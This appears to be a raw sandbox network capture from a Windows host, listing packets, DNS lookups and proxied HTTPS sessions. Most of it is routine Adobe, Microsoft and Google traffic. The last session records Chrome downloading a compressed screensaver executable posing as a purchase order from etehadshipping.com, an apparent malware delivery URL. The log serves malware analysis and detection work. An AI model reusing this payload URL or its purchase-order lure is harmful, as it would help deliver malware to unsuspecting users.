Sep 6, 2024 09:54:19.323295116 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.323312998 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.323318005 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.323354959 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:19.323503017 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.323707104 CEST	49734	443	192.168.2.9	5.144.130.41
Sep 6, 2024 09:54:19.323719978 CEST	443	49734	5.144.130.41	192.168.2.9
Sep 6, 2024 09:54:22.366552114 CEST	443	49737	172.217.18.100	192.168.2.9
Sep 6, 2024 09:54:22.366727114 CEST	443	49737	172.217.18.100	192.168.2.9
Sep 6, 2024 09:54:22.366826057 CEST	49737	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:54:22.515475035 CEST	49737	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:54:22.515496016 CEST	443	49737	172.217.18.100	192.168.2.9
Sep 6, 2024 09:54:25.928376913 CEST	49730	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:25.928409100 CEST	443	49730	23.206.229.209	192.168.2.9
Sep 6, 2024 09:54:25.928427935 CEST	49730	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:25.928435087 CEST	443	49730	23.206.229.209	192.168.2.9
Sep 6, 2024 09:54:25.928847075 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:25.928884983 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 6, 2024 09:54:25.928936958 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:25.929588079 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:25.929619074 CEST	443	49747	23.206.229.209	192.168.2.9
Sep 6, 2024 09:54:25.929667950 CEST	49747	443	192.168.2.9	23.206.229.209
Sep 6, 2024 09:54:31.785893917 CEST	49705	80	192.168.2.9	199.232.214.172
Sep 6, 2024 09:54:31.791080952 CEST	80	49705	199.232.214.172	192.168.2.9
Sep 6, 2024 09:54:31.791212082 CEST	49705	80	192.168.2.9	199.232.214.172
Sep 6, 2024 09:54:32.711996078 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:32.712033987 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:32.712101936 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:32.712519884 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:32.712531090 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.469691038 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.469819069 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.471124887 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.471138000 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.471394062 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.472574949 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.516510963 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.788347960 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.788378000 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.788393021 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.788497925 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.788513899 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.788558960 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.789088011 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.789127111 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.789149046 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.789155960 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.789177895 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.789798021 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.789845943 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.791347027 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.791364908 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:54:33.791378975 CEST	49748	443	192.168.2.9	40.127.169.103
Sep 6, 2024 09:54:33.791384935 CEST	443	49748	40.127.169.103	192.168.2.9
Sep 6, 2024 09:55:11.864818096 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:11.864876032 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:11.864964008 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:11.865221977 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:11.865236998 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:12.506656885 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:12.507016897 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:12.507062912 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:12.507392883 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:12.507677078 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:12.507735014 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:12.550673962 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:22.406929016 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:22.407004118 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:22.407068968 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:23.695426941 CEST	49750	443	192.168.2.9	172.217.18.100
Sep 6, 2024 09:55:23.695462942 CEST	443	49750	172.217.18.100	192.168.2.9
Sep 6, 2024 09:55:35.295989990 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:35.303360939 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:35.303462982 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:35.303553104 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:35.303566933 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:35.310847044 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:35.310861111 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.698375940 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.698609114 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:36.699641943 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.699698925 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:36.700212955 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.700253963 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:36.700457096 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.700505972 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:55:36.707259893 CEST	53	49751	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:36.707365036 CEST	49751	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:56:11.935893059 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:11.935941935 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:11.936070919 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:11.936290026 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:11.936301947 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:12.583511114 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:12.584258080 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:12.584289074 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:12.584661961 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:12.585547924 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:12.585625887 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:12.629339933 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:22.485579014 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:22.485651970 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:56:22.485786915 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:23.695228100 CEST	49753	443	192.168.2.9	142.250.184.228
Sep 6, 2024 09:56:23.695274115 CEST	443	49753	142.250.184.228	192.168.2.9
Sep 6, 2024 09:58:27.031933069 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:27.031979084 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:27.032201052 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:27.032746077 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:27.032757044 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.376530886 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.376606941 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.394294024 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.394316912 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.394588947 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.394944906 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.395657063 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.395698071 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.395747900 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.618397951 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.618550062 CEST	443	49754	20.189.173.9	192.168.2.9
Sep 6, 2024 09:58:28.618557930 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.618769884 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.619324923 CEST	49754	443	192.168.2.9	20.189.173.9
Sep 6, 2024 09:58:28.619337082 CEST	443	49754	20.189.173.9	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 6, 2024 09:54:07.520116091 CEST	50433	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:54:07.520572901 CEST	58857	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:54:07.526477098 CEST	53	62982	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:07.550240993 CEST	53	61005	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:07.562455893 CEST	53	58857	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:07.563011885 CEST	53	50433	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:08.611438990 CEST	53	59997	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:11.606794119 CEST	53	64328	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:11.805726051 CEST	52322	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:54:11.806149960 CEST	64844	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:54:11.812793970 CEST	53	52322	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:11.813354015 CEST	53	64844	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:25.668042898 CEST	53	65369	1.1.1.1	192.168.2.9
Sep 6, 2024 09:54:32.808676958 CEST	138	138	192.168.2.9	192.168.2.255
Sep 6, 2024 09:54:44.746089935 CEST	53	56996	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:06.954500914 CEST	53	49464	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:07.373153925 CEST	53	55427	1.1.1.1	192.168.2.9
Sep 6, 2024 09:55:35.295464039 CEST	53	53468	1.1.1.1	192.168.2.9
Sep 6, 2024 09:56:11.927741051 CEST	53905	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:56:11.927879095 CEST	58491	53	192.168.2.9	1.1.1.1
Sep 6, 2024 09:56:11.934560061 CEST	53	53905	1.1.1.1	192.168.2.9
Sep 6, 2024 09:56:11.934616089 CEST	53	58491	1.1.1.1	192.168.2.9
Sep 6, 2024 09:56:19.248290062 CEST	53	60443	1.1.1.1	192.168.2.9
Sep 6, 2024 09:57:33.420196056 CEST	53	51551	1.1.1.1	192.168.2.9
Sep 6, 2024 09:58:30.700440884 CEST	138	138	192.168.2.9	192.168.2.255
Sep 6, 2024 09:59:51.076174974 CEST	53	53426	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 6, 2024 09:54:07.520116091 CEST	192.168.2.9	1.1.1.1	0xff0	Standard query (0)	etehadshipping.com	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:54:07.520572901 CEST	192.168.2.9	1.1.1.1	0x7f4e	Standard query (0)	etehadshipping.com	65	IN (0x0001)	false
Sep 6, 2024 09:54:11.805726051 CEST	192.168.2.9	1.1.1.1	0x1a8c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:54:11.806149960 CEST	192.168.2.9	1.1.1.1	0x3ba6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 6, 2024 09:56:11.927741051 CEST	192.168.2.9	1.1.1.1	0x144a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:56:11.927879095 CEST	192.168.2.9	1.1.1.1	0x2a0e	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 6, 2024 09:53:49.745639086 CEST	1.1.1.1	192.168.2.9	0x7481	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:53:49.745639086 CEST	1.1.1.1	192.168.2.9	0x7481	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:54:07.563011885 CEST	1.1.1.1	192.168.2.9	0xff0	No error (0)	etehadshipping.com	5.144.130.41	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:54:11.812793970 CEST	1.1.1.1	192.168.2.9	0x1a8c	No error (0)	www.google.com	172.217.18.100	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:54:11.813354015 CEST	1.1.1.1	192.168.2.9	0x3ba6	No error (0)	www.google.com		65	IN (0x0001)	false
Sep 6, 2024 09:56:11.934560061 CEST	1.1.1.1	192.168.2.9	0x144a	No error (0)	www.google.com	142.250.184.228	A (IP address)	IN (0x0001)	false
Sep 6, 2024 09:56:11.934616089 CEST	1.1.1.1	192.168.2.9	0x2a0e	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

https:

p13n.adobe.io

fs.microsoft.com

armmf.adobe.com

slscr.update.microsoft.com

etehadshipping.com

self.events.data.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49721	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:53:49 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-06 07:53:49 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF67) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=31911 Date: Fri, 06 Sep 2024 07:53:49 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49725	18.207.85.246	443	7976	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:53:50 UTC	1473	OUT	GET /psdk/v2/content?surfaceId=ACROBAT_READER_MASTER_SURFACEID&surfaceId=DC_READER_LAUNCH_CARD&surfaceId=DC_Reader_RHP_Banner&surfaceId=DC_Reader_RHP_Retention&surfaceId=Edit_InApp_Aug2020&surfaceId=DC_FirstMile_Right_Sec_Surface&surfaceId=DC_Reader_Upsell_Cards&surfaceId=DC_FirstMile_Home_View_Surface&surfaceId=DC_Reader_RHP_Intent_Banner&surfaceId=DC_Reader_Disc_LHP_Banner&surfaceId=DC_Reader_Edit_LHP_Banner&surfaceId=DC_Reader_Convert_LHP_Banner&surfaceId=DC_Reader_Sign_LHP_Banner&surfaceId=DC_Reader_More_LHP_Banner&surfaceId=DC_Reader_Disc_LHP_Retention&surfaceId=DC_Reader_Home_LHP_Trial_Banner&adcProductLanguage=en-us&adcVersion=23.6.20320&adcProductType=SingleClientMini&adcOSType=WIN&adcCountryCode=US&adcXAPIClientID=api_reader_desktop_win_23.6.20320&encodingScheme=BASE_64 HTTP/1.1 Host: p13n.adobe.io Connection: keep-alive sec-ch-ua: "Chromium";v="105" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 x-adobe-uuid: fdf9e666-cbf4-4e86-8c83-d46a601e2046 x-adobe-uuid-type: visitorId x-api-key: AdobeReader9 sec-ch-ua-platform: "Windows" Origin: https://rna-resource.acrobat.com Accept-Language: en-US,en;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://rna-resource.acrobat.com/ Accept-Encoding: gzip, deflate, br
2024-09-06 07:53:50 UTC	608	IN	HTTP/1.1 200 Server: openresty Date: Fri, 06 Sep 2024 07:53:50 GMT Content-Type: application/json;charset=UTF-8 Content-Length: 6301 Connection: close x-request-id: Kh9DUDLpRQcK7QPcmRobiD6zHvfGMR7Y vary: accept-encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: Authorization,Content-Type,X-Api-Key,cache-control,User-Agent,If-None-Match,x-adobe-uuid,x-adobe-uuid-type, X-Request-Id Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: x-request-id Strict-Transport-Security: max-age=15552000; includeSubDomains
2024-09-06 07:53:50 UTC	6301	IN	Data Raw: 7b 22 73 75 72 66 61 63 65 73 22 3a 7b 22 44 43 5f 52 65 61 64 65 72 5f 52 48 50 5f 42 61 6e 6e 65 72 22 3a 7b 22 63 6f 6e 74 61 69 6e 65 72 73 22 3a 5b 7b 22 63 6f 6e 74 61 69 6e 65 72 49 64 22 3a 31 2c 22 63 6f 6e 74 61 69 6e 65 72 4c 61 62 65 6c 22 3a 22 4a 53 4f 4e 20 66 6f 72 20 52 65 61 64 65 72 20 44 43 20 52 48 50 20 42 61 6e 6e 65 72 22 2c 22 64 61 74 61 54 79 70 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 22 64 61 74 61 22 3a 22 65 79 4a 6a 64 47 45 69 4f 6e 73 69 64 48 6c 77 5a 53 49 36 49 6d 4a 31 64 48 52 76 62 69 49 73 49 6e 52 6c 65 48 51 69 4f 69 4a 47 63 6d 56 6c 49 44 63 74 52 47 46 35 49 46 52 79 61 57 46 73 49 69 77 69 5a 32 39 66 64 58 4a 73 49 6a 6f 69 61 48 52 30 63 48 4d 36 4c 79 39 68 59 33 4a 76 59 6d 46 30 Data Ascii: {"surfaces":{"DC_Reader_RHP_Banner":{"containers":[{"containerId":1,"containerLabel":"JSON for Reader DC RHP Banner","dataType":"application/json","data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJGcmVlIDctRGF5IFRyaWFsIiwiZ29fdXJsIjoiaHR0cHM6Ly9hY3JvYmF0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:53:50 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-06 07:53:50 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=31964 Date: Fri, 06 Sep 2024 07:53:50 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-06 07:53:50 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49727	23.47.168.24	443	7976	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:53:55 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-09-06 07:53:55 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Fri, 06 Sep 2024 07:53:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49728	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:53:56 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SKh5HyDhzsn+dL3&MD=GB49MBOn HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-09-06 07:53:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 484b6c78-27c6-407c-9305-761d4ee097db MS-RequestId: e7f37910-c318-4f9a-9896-8f918df074e3 MS-CV: uF9NfopMG0GJTy8F.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Sep 2024 07:53:55 GMT Connection: close Content-Length: 24490
2024-09-06 07:53:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-09-06 07:53:56 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49734	5.144.130.41	443	7716	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-06 07:54:17 UTC	687	OUT	GET /IN/PO/IDR-500000000.scr.xz HTTP/1.1 Host: etehadshipping.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-06 07:54:17 UTC	378	IN	HTTP/1.1 200 OK Connection: close content-type: application/x-xz last-modified: Fri, 06 Sep 2024 03:12:17 GMT accept-ranges: bytes content-length: 1327584 date: Fri, 06 Sep 2024 07:54:17 GMT alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
